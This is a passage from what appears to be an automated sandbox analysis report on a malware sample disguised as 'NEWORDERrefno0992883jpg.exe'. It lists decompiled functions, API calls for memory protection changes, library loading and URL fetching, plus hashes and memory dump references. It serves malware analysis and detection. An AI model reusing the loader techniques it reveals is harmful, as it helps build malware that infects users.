				return _t18;
			}

0x0041164a
0x00411659
0x00411663
0x0041166b
0x0041166e
0x00411675
0x00411684
0x00411687
0x0041168e
0x00411695
0x00411698
0x00411699
0x004116a3
0x004116ab
0x004116b0
0x004116c3
0x004116c8

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 00411663
#536.MSVBVM60(00000002), ref: 00411699
__vbaStrMove.MSVBVM60(00000002), ref: 004116A3
__vbaFreeVar.MSVBVM60(00000002), ref: 004116AB
__vbaFreeStr.MSVBVM60(004116C9,00000002), ref: 004116C3

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$#536ChkstkMove
String ID:
API String ID: 2104488870-0
Opcode ID: 6dd225d989a175012999f1ef3f46dde89315d117d43c5c23808ca40569eb815e
Instruction ID: 321fb7ab80ba712234278838736c298cf692aad6b6d54ef8a389a37d3575423c
Opcode Fuzzy Hash: 6dd225d989a175012999f1ef3f46dde89315d117d43c5c23808ca40569eb815e
Instruction Fuzzy Hash: DA013174900208ABCB01EFA5C986BDEBBB8AF04744F50806AF501B71F1D77C9945CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004110A3, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E004110A3(void* __ebx, void* __edi, void* __esi, long long __fp0, intOrPtr* _a4, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long long* _v16;
				char _v40;
				void* _t14;
				char* _t16;
				void* _t21;
				void* _t23;
				long long* _t24;

				_t24 = _t23 - 0xc;
				 *[fs:0x0] = _t24;
				L004012E0();
				_v16 = _t24;
				_v12 = 0x401208;
				_v8 = 0;
				_t14 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x18,  *[fs:0x0], 0x4012e6, _t21);
				_t16 =  &_v40;
				L00401412();
				asm("fldz");
				_push(_t16);
				_push(_t16);
				 *_t24 = __fp0;
				L004013D6();
				L004013DC();
				asm("fcomp qword [0x401200]");
				asm("wait");
				_push(0x411114);
				L0040143C();
				return _t14;
			}

0x004110a6
0x004110b5
0x004110bf
0x004110c7
0x004110ca
0x004110d1
0x004110e0
0x004110e6
0x004110e9
0x004110ee
0x004110f0
0x004110f1
0x004110f2
0x004110f5
0x004110fa
0x004110ff
0x00411105
0x00411106
0x0041110e
0x00411113

APIs

__vbaChkstk.MSVBVM60(?,004012E6), ref: 004110BF
__vbaVarDup.MSVBVM60(?,?,?,?,004012E6), ref: 004110E9
#586.MSVBVM60(?,?,?,?,?,?,004012E6), ref: 004110F5
__vbaFpR8.MSVBVM60(?,?,?,?,?,?,004012E6), ref: 004110FA
__vbaFreeVar.MSVBVM60(00411114,?,?,?,?,?,?,004012E6), ref: 0041110E

Memory Dump Source

Source File: 00000000.00000002.351519912.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.351502959.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.351548196.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.351564161.0000000000415000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$#586ChkstkFree
String ID:
API String ID: 1198234147-0
Opcode ID: 27a14a0b387750bf6da4396ddce20f1bb340f3ad301a765705f70ec72150b3cf
Instruction ID: a9049add3f13abc62d8f57695f640c6154abf37bb45e6ea44e3f387832d9a684
Opcode Fuzzy Hash: 27a14a0b387750bf6da4396ddce20f1bb340f3ad301a765705f70ec72150b3cf
Instruction Fuzzy Hash: 3AF04F70940209BBCB00EF95C946F9DBBB8EF04B44F5085AEF400B71B1DBB85A04CB98

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: NEWORDERrefno0992883jpg.exe PID: 4712 Parent PID: 1908 NEWORDERrefno0992883jpg.exeCOMMON

Executed Functions

Function 00568BF1, Relevance: 1.8, APIs: 1, Instructions: 337nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,0056868B,00000040,005633C2,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00568BD7

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 07889969ff46c4e90118b04f08c99614f25fd03295e1ba9f454bdda9a2ccacd8
Instruction ID: 07ae72dd47a4921ff745672a852adec9fca1c2a7fdec05f36d0ff9faa460de2a
Opcode Fuzzy Hash: 07889969ff46c4e90118b04f08c99614f25fd03295e1ba9f454bdda9a2ccacd8
Instruction Fuzzy Hash: 2671155A0656404FEB050754A959EBABF79FA137307E003BBC23A8F5F3D9940A43A336

Uniqueness

Uniqueness Score: -1.00%

Function 00568511, Relevance: 1.8, APIs: 1, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoadMemoryProtectVirtual
String ID:
API String ID: 3389902171-0
Opcode ID: a0f556d6dc3aafad176821e5c2383c218ceee2aa0d6ceb855213dbf259aac117
Instruction ID: 61e16a7a4fc9706e4a2497afade01826d217fb1476751538d6637247e307150a
Opcode Fuzzy Hash: a0f556d6dc3aafad176821e5c2383c218ceee2aa0d6ceb855213dbf259aac117
Instruction Fuzzy Hash: AF91B8609043428EDB25DF38C8D4775BF91BF66324F54C799D5964B2D6CB348882C726

Uniqueness

Uniqueness Score: -1.00%

Function 005651B6, Relevance: 1.5, APIs: 1, Instructions: 46libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00564779: InternetOpenA.WININET(005651CB,00000000,00000000,00000000,00000000), ref: 00564783
Part of subcall function 00564779: InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564900

LdrInitializeThunk.NTDLL(?,?,?), ref: 00565232

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen$InitializeThunk
String ID:
API String ID: 518753361-0
Opcode ID: fd9d0dc4bc3f7ddab2dc904e2b4d447cfb666569b98fcca1a722fcfac1bbb19b
Instruction ID: 5ae2b9c45c4d521d327f9e4002a82e0f0ce5874790872d26d0426371d642e6e5
Opcode Fuzzy Hash: fd9d0dc4bc3f7ddab2dc904e2b4d447cfb666569b98fcca1a722fcfac1bbb19b
Instruction Fuzzy Hash: 9301247668F7D599C723DB3449AA193BFB0BE53200B2C94DDC0C01A063C651A625EBDA

Uniqueness

Uniqueness Score: -1.00%

Function 00568BBB, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,0056868B,00000040,005633C2,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00568BD7

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: e321634b5848cb9033a4850ee334c4796eaa3c0b8d5c91ad4aee0868860d2ee2
Instruction ID: 99a9d8d00dcc117a606ac92e411db70f0a20e9638b8254fcc77bd410a86e3b5b
Opcode Fuzzy Hash: e321634b5848cb9033a4850ee334c4796eaa3c0b8d5c91ad4aee0868860d2ee2
Instruction Fuzzy Hash: 72C012E82240002E68048E28CD48D2BB2AA86D8A28B10C32CB872B22CCCA30EC058132

Uniqueness

Uniqueness Score: -1.00%

Function 00564149, Relevance: 7.7, APIs: 1, Strings: 3, Instructions: 730COMMON

Download Yara Rule

Strings

AMq9, xrefs: 0056434E
kernel32, xrefs: 00565355
TEMP=, xrefs: 00565402

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: AMq9$TEMP=$kernel32
API String ID: 823142352-2332386251
Opcode ID: da4f0a32b2dfb717e84a189b30cf1b14c285c378117993f601813db005d096ca
Instruction ID: b78e166b2c91e92ec56f19d3107c87f377ea8b3ac842aba2f40b05fbc7b646d1
Opcode Fuzzy Hash: da4f0a32b2dfb717e84a189b30cf1b14c285c378117993f601813db005d096ca
Instruction Fuzzy Hash: 3A12C61E150640868E011B646556EEEFF26BD23B31BE01BB7C33B0B9F7D5540387AB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00564AF0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 139COMMON

Download Yara Rule

Strings

0={,, xrefs: 00564C7F
shell32, xrefs: 00565934

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID: 0={,$shell32
API String ID: 1029625771-4280706295
Opcode ID: 64e1a92821fae66d3335aa8ad5db225f02bdcd9caccf3ee2dd4fcca2355b160c
Instruction ID: 4d1f751d4a53e2e356341738b5a203b8b1939cc235830f843c34d0f081872c13
Opcode Fuzzy Hash: 64e1a92821fae66d3335aa8ad5db225f02bdcd9caccf3ee2dd4fcca2355b160c
Instruction Fuzzy Hash: 42515CB460824F9BCB15EF6488967DE3E62BF99358F20801AFC4687305DF359842DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00564779, Relevance: 4.6, APIs: 3, Instructions: 125networklibraryCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(005651CB,00000000,00000000,00000000,00000000), ref: 00564783
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564900
LoadLibraryA.KERNEL32(?,321C9581,?,0056851E,005633C2,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 005671A2

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen$LibraryLoad
String ID:
API String ID: 2631520674-0
Opcode ID: 2c56e67977d6f33285aca5fc23af88a47b4b5ebbb4dbcd0bf52d205830202f86
Instruction ID: 42f69d70d983ee5cbe2d3848b2ba4e43e03dad2c694ad41bb4898022ad708d8b
Opcode Fuzzy Hash: 2c56e67977d6f33285aca5fc23af88a47b4b5ebbb4dbcd0bf52d205830202f86
Instruction Fuzzy Hash: 8241C47418438ABAEF306F64CD45FEF3A69BF44754F508415FE4AAB181DB718980EB24

Uniqueness

Uniqueness Score: -1.00%

Function 005646D3, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 318libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00567101: LoadLibraryA.KERNEL32(?,321C9581,?,0056851E,005633C2,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 005671A2

Part of subcall function 00564779: InternetOpenA.WININET(005651CB,00000000,00000000,00000000,00000000), ref: 00564783
Part of subcall function 00564779: InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564900

LdrInitializeThunk.NTDLL(?,?,?), ref: 00565232

Strings

kernel32, xrefs: 00565355

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen$InitializeLibraryLoadThunk
String ID: kernel32
API String ID: 1998099105-541877477
Opcode ID: fe50558b766e737d3867ebbea7b73ba215d94c82ec6ade255a386ee4e7529d49
Instruction ID: 0859fc1a2d347d3f0a9b19a49bec10f5d2e11fb62b859b1a53b6951037029c7e
Opcode Fuzzy Hash: fe50558b766e737d3867ebbea7b73ba215d94c82ec6ade255a386ee4e7529d49
Instruction Fuzzy Hash: 84B137B124034AAFEF219F20CC59BEA3F61FF45304F244129FA85AB2D1C7B99994DB45

Uniqueness

Uniqueness Score: -1.00%

Function 005650A9, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 233COMMON

Download Yara Rule

Strings

rX4, xrefs: 00565093

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID:
String ID: rX4
API String ID: 0-805084833
Opcode ID: eb041f9356199c9a1a1a81944cc795cf951d181677e5518ebab953ee90eaa61f
Instruction ID: 96b68ba3cc1edcd27fe4d87e83e868aa4e65db1a442d665f4933c84428fca727
Opcode Fuzzy Hash: eb041f9356199c9a1a1a81944cc795cf951d181677e5518ebab953ee90eaa61f
Instruction Fuzzy Hash: EC51F71E294A40869B010B64555AB9AFF65BD13730FF017BAC3BB0B4F7E5600247E7AA

Uniqueness

Uniqueness Score: -1.00%

Function 00564796, Relevance: 3.3, APIs: 2, Instructions: 251networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(005651CB,00000000,00000000,00000000,00000000), ref: 00564783
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00564900

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 146ae78f64f83f420ef44c62b08aff9e656740596a857fc3da3d9be62c212619
Instruction ID: 87b4a178164bb0633ce20fcb7943821f63af152b9ab1e7b15093b0fe14494c8a
Opcode Fuzzy Hash: 146ae78f64f83f420ef44c62b08aff9e656740596a857fc3da3d9be62c212619
Instruction Fuzzy Hash: 3A61831A15028186DF111B909A45FEEBF6ABB03730FE00776C73A1F9F7D6640643AB69

Uniqueness

Uniqueness Score: -1.00%

Function 00569779, Relevance: 3.2, APIs: 2, Instructions: 204fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00569762

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 57876096c5a45833adbaf9c5e3192350c0cabb904e0249ef808af8b2d40d8f6b
Instruction ID: 7307bbb062862ddc15319be796320aff3fd2b9a6c9292b9840ebea317ad1326d
Opcode Fuzzy Hash: 57876096c5a45833adbaf9c5e3192350c0cabb904e0249ef808af8b2d40d8f6b
Instruction Fuzzy Hash: 4B516E0A020640865B451FA46659AAEFF6DFD13B307E007BBC33E1F8F7D5640287A6A6

Uniqueness

Uniqueness Score: -1.00%

Function 005665CF, Relevance: 2.8, APIs: 1, Instructions: 1296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2277ca8a1c5922072684269748128d0bcbcf5b66cc184244fc0ff21708b4b8d
Instruction ID: 763563542128838b0ef1ab6691001b78893b9a0549dfc4aeaf760a60f48670b5
Opcode Fuzzy Hash: f2277ca8a1c5922072684269748128d0bcbcf5b66cc184244fc0ff21708b4b8d
Instruction Fuzzy Hash: 5362B44E0206008A9E401B94665AEAEFF69BD13B307E017B6C33F1F9F7D5540787A76A

Uniqueness

Uniqueness Score: -1.00%

Function 00569191, Relevance: 2.6, APIs: 1, Instructions: 1133fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00569762

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4debceb64daec923f13b6a3fddb70ceaceb78c85fc1e91f03cd2241564301b46
Instruction ID: 00ad04598d6195c38ecc3f84f762fe63e3c287cd7820e8bd03e773264c5b3cbf
Opcode Fuzzy Hash: 4debceb64daec923f13b6a3fddb70ceaceb78c85fc1e91f03cd2241564301b46
Instruction Fuzzy Hash: 28527F1E120600869F410B546659EA9FF2DBD13B31BE017BAC33B0B9F7D5740387A7AA

Uniqueness

Uniqueness Score: -1.00%

Function 00567128, Relevance: 1.8, APIs: 1, Instructions: 291libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,321C9581,?,0056851E,005633C2,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 005671A2

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 320c03b0894f4e005499c199d334a2f70a2eef5acfd1523d7f1ddd5cb05d916f
Instruction ID: a5ede441c5f177244f15d77542a44c54f24bd37fad40edfcf392f7d129825b51
Opcode Fuzzy Hash: 320c03b0894f4e005499c199d334a2f70a2eef5acfd1523d7f1ddd5cb05d916f
Instruction Fuzzy Hash: 8781791E0182088B8F001B64A156ADEBF65BD1B7387E017B7E63A1B5F7C7600683EB65

Uniqueness

Uniqueness Score: -1.00%

Function 00566FE8, Relevance: 1.7, APIs: 1, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a88dde8a4a89c1133f79e0bf297aa97ee47632a035b771938c720e76c637eb5
Instruction ID: 6143c3016ff408c23ba92f0a155e007a87775a2f2a9c6a03f0cba5c3d4a95baf
Opcode Fuzzy Hash: 3a88dde8a4a89c1133f79e0bf297aa97ee47632a035b771938c720e76c637eb5
Instruction Fuzzy Hash: F351D54E018248868E411B50658EAAEFF39BD1BB35BE02772C33B0B5F7D5540283AF76

Uniqueness

Uniqueness Score: -1.00%

Function 00562D8D, Relevance: 1.7, APIs: 1, Instructions: 205threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(000000FE,00000000), ref: 00562ECC

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: ba98d702fb6a40547ba050e3b0691729dc3a23cc38e037d0fa4e29c559b6dd88
Instruction ID: 9d358d1d5ede9f1c650deb18ac38537f6748ff29f2dc2f17431759047f2a738c
Opcode Fuzzy Hash: ba98d702fb6a40547ba050e3b0691729dc3a23cc38e037d0fa4e29c559b6dd88
Instruction Fuzzy Hash: 201186716403005FEB219B54CDCAB6A3F65BF16360F754191E912DB2E2D375DC80CB21

Uniqueness

Uniqueness Score: -1.00%

Function 0056939B, Relevance: 1.7, APIs: 1, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 139936a1ea3707e16d0bbf8ea2b8b0ecfdbff7a18c02e6e2da3c2fe360bed53c
Instruction ID: 3b4996ae5e06e98c1391b93d2429d966fed41e9327dc730792ba57a89b4bd771
Opcode Fuzzy Hash: 139936a1ea3707e16d0bbf8ea2b8b0ecfdbff7a18c02e6e2da3c2fe360bed53c
Instruction Fuzzy Hash: 155187292106404ADF055B158459BEDBE18FF21732FC41BABC3390FAF9DA344683D39A

Uniqueness

Uniqueness Score: -1.00%

Function 005695B3, Relevance: 1.7, APIs: 1, Instructions: 163fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00569762

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5e23f4c433f1e2356bef6dad8c8a4616fb4519982d6ddcfc8bd674a8d6786e48
Instruction ID: 7a46c77797bb955e6965cc6b4c42f12c766785baabcb13dcc7f009a41f0953fb
Opcode Fuzzy Hash: 5e23f4c433f1e2356bef6dad8c8a4616fb4519982d6ddcfc8bd674a8d6786e48
Instruction Fuzzy Hash: A651662912070049DF661B24D459BEDBE1CBF22731FC017ABC33A0B9F6D6344282D79A

Uniqueness

Uniqueness Score: -1.00%

Function 00569061, Relevance: 1.6, APIs: 1, Instructions: 108fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00569762

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c442112506e182302b0c476b9b99b4d51c8728ea9df1d07a545812643962fe74
Instruction ID: c69c99f15ad29f72262cba8a839e1ff24e97c1d47858c6734bac29ef16b8aad5
Opcode Fuzzy Hash: c442112506e182302b0c476b9b99b4d51c8728ea9df1d07a545812643962fe74
Instruction Fuzzy Hash: 54313A31700605CFEF259E24C9483E97FAAFF623A5F68522AC9469B1E0D378C8C4CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00569168, Relevance: 1.6, APIs: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00569762

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ed2d85ce590362124074e43635dc28dd51b38d0ca68b0eaa5dae00b82c981969
Instruction ID: 3b2b251d656aa79e9442f6359deb1377a501698aff0734963e5dbc62a44ebd99
Opcode Fuzzy Hash: ed2d85ce590362124074e43635dc28dd51b38d0ca68b0eaa5dae00b82c981969
Instruction Fuzzy Hash: A221F130600605CEEF299E24C9083E83BAAFF62365F68066AC9569F1E0D339C8C1CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00566DD6, Relevance: 1.6, APIs: 1, Instructions: 61libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,321C9581,?,0056851E,005633C2,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 005671A2

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3b1a993fc82f2a717091ee188c109819dbe5325ec291ddf6775c9496740467e9
Instruction ID: 6d17907f7759d16af9344bb67525130e3d4dff79f2cd86bcca5003ac27829a64
Opcode Fuzzy Hash: 3b1a993fc82f2a717091ee188c109819dbe5325ec291ddf6775c9496740467e9
Instruction Fuzzy Hash: 5A11AFB850428F29DF357B24DC157FA7E18BF59768FA08654FC6547085CB748CC1CA24

Uniqueness

Uniqueness Score: -1.00%

Function 00562EB1, Relevance: 1.6, APIs: 1, Instructions: 59threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(000000FE,00000000), ref: 00562ECC

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 5bc122363007295a8d2ad37047b860ee52eadbb1d9bee6b8e0255a33289c74b4
Instruction ID: e3ccd8251a21f26a274d1dff3baffbc0d68cdc11ec24b47520d96576e527206e
Opcode Fuzzy Hash: 5bc122363007295a8d2ad37047b860ee52eadbb1d9bee6b8e0255a33289c74b4
Instruction Fuzzy Hash: 4611A5716003006FEB209B54CDCAB6A3B66BF16360F754261E912DB2E2D375DC80CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00564270, Relevance: 1.5, APIs: 1, Instructions: 38libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,321C9581,?,0056851E,005633C2,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 005671A2

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9fca5e2c4055d43c9a12782bdde6b172619421dd4757440e19609cbd660a3814
Instruction ID: 45a597f89b6d684810e4384745501fdde66161dc082707ba9a77bf6ab57ecac2
Opcode Fuzzy Hash: 9fca5e2c4055d43c9a12782bdde6b172619421dd4757440e19609cbd660a3814
Instruction Fuzzy Hash: 23F0A79810825F39CE103E644E597FE2E19BF6DBBCF704422BC96931099F6488C29565

Uniqueness

Uniqueness Score: -1.00%

Function 00567101, Relevance: 1.5, APIs: 1, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,321C9581,?,0056851E,005633C2,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 005671A2

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: aadb59791538ba9bec12b4b45a0152cd471b918724f87f87b6e49f0f02f2792b
Instruction ID: 9b9f2031dcc7264f34bfe4b73eb6fd20af45081f2a9db5c22769d3134c9354e9
Opcode Fuzzy Hash: aadb59791538ba9bec12b4b45a0152cd471b918724f87f87b6e49f0f02f2792b
Instruction Fuzzy Hash: 89E02BC810835F39CA103B744E197FE2E18FFACBACF708411BC96931099B7488C14565

Uniqueness

Uniqueness Score: -1.00%

Function 005646CB, Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e5a6952495357cc9669e25585b80e3e6b5c51423ffe29ac7176158a21c7fb94a
Instruction ID: 69d0747449e3f2806f9b64ba68fa8c552ae5158f691708d8fe3254119990bf03
Opcode Fuzzy Hash: e5a6952495357cc9669e25585b80e3e6b5c51423ffe29ac7176158a21c7fb94a
Instruction Fuzzy Hash: 11D0A7B51C81850DC150B668046F5A63F54AB53200B58C49850800752ECD005727B395

Uniqueness

Uniqueness Score: -1.00%

Function 005668EA, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,00000000,00000200), ref: 00566B0A

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 3cfeb0ef513feec24dad9b4eddeff3556cef96765e3047861338f42b2a7d3efb
Instruction ID: 63c77e8d7509ae42ec4afdc7769ab098341bbf9c4e8edcc527042b61e23e5acd
Opcode Fuzzy Hash: 3cfeb0ef513feec24dad9b4eddeff3556cef96765e3047861338f42b2a7d3efb
Instruction Fuzzy Hash: B6C04C71248304EBE754DB10CDD5F6B7AA8BF90748F219815F987D7151C730ED04D625

Uniqueness

Uniqueness Score: -1.00%

Function 00564281, Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00564154,005642A3), ref: 00564295

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction ID: 90778f157ef074656d7de284b4bab831f576b04e2021a8a1eff49e75729f027a
Opcode Fuzzy Hash: e2f8b3fc84afe77b2e44bd9eac774263979335adf19bdf2e5a41aedaa8eff26f
Instruction Fuzzy Hash: A4C092717E0300B6FA348A208D57F8A62159B90F00F30840877093C0C085F1B610C62C

Uniqueness

Uniqueness Score: -1.00%

Function 005674A6, Relevance: 1.5, APIs: 1, Instructions: 7libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 005674AB

Memory Dump Source

Source File: 00000001.00000002.696666279.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b74a2d7fd134e2a7808fd78a59f2795c6a1b1f374482d17cd07bea984eddc3eb
Instruction ID: 91be4e7feb8a6f30873ecea3cf2517aaf3abfde0286275bc8c9379e0f13431e0
Opcode Fuzzy Hash: b74a2d7fd134e2a7808fd78a59f2795c6a1b1f374482d17cd07bea984eddc3eb
Instruction Fuzzy Hash: 60B00275551149BFCF015FA0DD4CACE3F65BF45351B048450BD5595060C735CA74DB51

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: PILGRIMIZES.exe PID: 5668 Parent PID: 6348 PILGRIMIZES.exeCOMMON

Executed Functions

Function 02310949, Relevance: 14.6, APIs: 2, Strings: 6, Instructions: 575COMMON

Download Yara Rule

Strings

6, xrefs: 02310A3C
1.!T, xrefs: 02310A20
kernel32, xrefs: 02315355
user32, xrefs: 023153D4
ntdll, xrefs: 023153E0
TEMP=, xrefs: 02315402

Memory Dump Source

Source File: 00000003.00000002.393792947.0000000002310000.00000040.00000001.sdmp, Offset: 02310000, based on PE: false

Similarity

